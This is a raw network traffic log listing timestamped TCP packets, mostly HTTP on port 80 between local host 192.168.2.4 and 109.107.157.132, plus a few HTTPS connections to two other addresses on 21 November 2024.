Nov 21, 2024 22:33:53.904587984 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.904628038 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.904679060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.905601978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.905666113 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.905772924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.905844927 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.906896114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.907066107 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.907068968 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.907104969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.908458948 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.908471107 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.908556938 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.970984936 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.971002102 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.971059084 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.971059084 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.971541882 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.971616030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.971647978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.971880913 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.972930908 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.972996950 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.973021030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.973064899 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.974210024 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.974262953 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.974366903 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.974443913 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.975570917 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.975616932 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.975692987 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.975744963 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.976887941 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.976944923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.976995945 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.977060080 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.978224039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.978337049 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.978348017 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.978374958 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.979578018 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.979650974 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.979684114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.979756117 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.980890036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.980987072 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.981008053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.981040001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.982224941 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.982306004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.982373953 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.982435942 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.983587980 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.983689070 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.983705997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.983747005 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.984904051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.984958887 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.985023022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.985079050 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.986218929 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.986330032 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.986345053 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.986402988 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.987601042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.987658978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.987677097 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.987724066 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.049149036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.049206972 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.049242020 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.049310923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.049755096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.049817085 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.049859047 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.049911022 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.051132917 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.051228046 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.051281929 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.051343918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.052438021 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.052503109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.052515984 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.052556038 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.054259062 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.054306984 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.054344893 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.054409981 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.055119038 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.055233002 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.055278063 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.055278063 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.056447983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.056576967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.056596041 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.056660891 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.057780027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.057822943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.057887077 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.057928085 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.059109926 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.059159040 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.059215069 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.059251070 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.060453892 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.060553074 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.060580015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.060657024 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.061789989 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.061847925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.061904907 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.062000036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.063111067 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.063193083 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.063277006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.063340902 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.064450979 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.064496040 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.064563990 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.064614058 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.065788031 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.065838099 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.065884113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.065973043 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.067087889 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.067157984 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.127655029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.127702951 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.127860069 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.127923012 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.128223896 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.128271103 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.128519058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.128586054 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.128628969 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.128719091 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.129848957 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.129945993 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.129971027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.130105972 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.131185055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.131259918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.131290913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.131335974 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.132513046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.132570028 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.132606030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.132663965 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.133887053 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.133965015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.133969069 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.134011030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.135205030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.135307074 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.171999931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.172103882 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.208545923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.328078985 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.608474016 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.608619928 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.608716965 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.608766079 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.608911037 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.609002113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.609025955 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.609047890 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.610291004 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.610349894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.610481977 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.610616922 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.611598015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.611663103 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.611731052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.611808062 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.612958908 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.613032103 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.613059044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.613097906 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.614274025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.614373922 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.614378929 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.614459038 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.615653038 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.615780115 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.615787029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.615852118 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.616940022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.616977930 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.616991997 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.617019892 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.686615944 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.686674118 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.686697006 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.686724901 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.687167883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.687290907 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.687334061 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.687397003 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.688452005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.688575029 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.688914061 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.688991070 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.689023018 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.689093113 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.690311909 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.690380096 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.690432072 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.690485001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.691643000 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.691708088 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.691790104 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.691883087 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.692984104 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.693042040 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.693065882 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.693126917 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.694303989 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.694411993 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.694447041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.694505930 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.695658922 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.695748091 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.695755959 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.695831060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.697052002 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.697149992 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.697257042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.697308064 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.698383093 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.698394060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.698435068 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.698453903 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.699630976 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.699692965 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.699793100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.699882030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.700974941 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.701056957 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.701117992 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.701162100 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:54.702333927 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:54.702423096 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.005199909 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.005316019 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.005398989 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.005451918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.083093882 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.083178997 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.083223104 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.083287954 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.083652973 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.083702087 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.161334038 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.161478043 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.161557913 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.161887884 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.162163019 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.162214994 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.162220955 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.162261009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.163492918 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.163789988 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.239430904 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.239525080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.239573956 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.239743948 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.239809036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.239845991 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.241111994 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.241163015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.241166115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.242454052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.242501020 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.242579937 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.242614031 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.338423967 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:55.338474035 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:55.338551044 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:55.339019060 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:55.339035034 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:55.360629082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.361664057 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.362000942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.362016916 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.362050056 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.362061977 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.362658978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.365652084 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.481323957 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.481684923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.483076096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.483129978 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.483215094 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.483263016 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.486020088 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.489666939 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.601281881 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.601346016 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.601433992 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.601480007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:55.601838112 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:55.601887941 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:56.091478109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:56.091509104 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:56.211379051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:56.211406946 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:56.771138906 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:56.771208048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:56.835575104 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:56.955193996 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:57.198420048 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:57.198484898 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:57.202481985 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:57.202493906 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:57.202892065 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:57.211885929 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:57.237768888 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:57.237796068 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:57.237853050 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:57.237853050 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:57.238249063 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:57.238334894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:57.240283966 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:57.255362988 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:57.359771013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:57.697428942 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:57.697490931 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:57.697535038 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:57.697570086 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:57.697602034 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:57.697619915 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:57.697653055 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:57.835946083 CET	49761	443	192.168.2.4	172.202.163.200
Nov 21, 2024 22:33:57.835977077 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:33:57.836052895 CET	49761	443	192.168.2.4	172.202.163.200
Nov 21, 2024 22:33:57.836668968 CET	49761	443	192.168.2.4	172.202.163.200
Nov 21, 2024 22:33:57.836685896 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:33:57.881593943 CET	443	49760	13.107.246.63	192.168.2.4
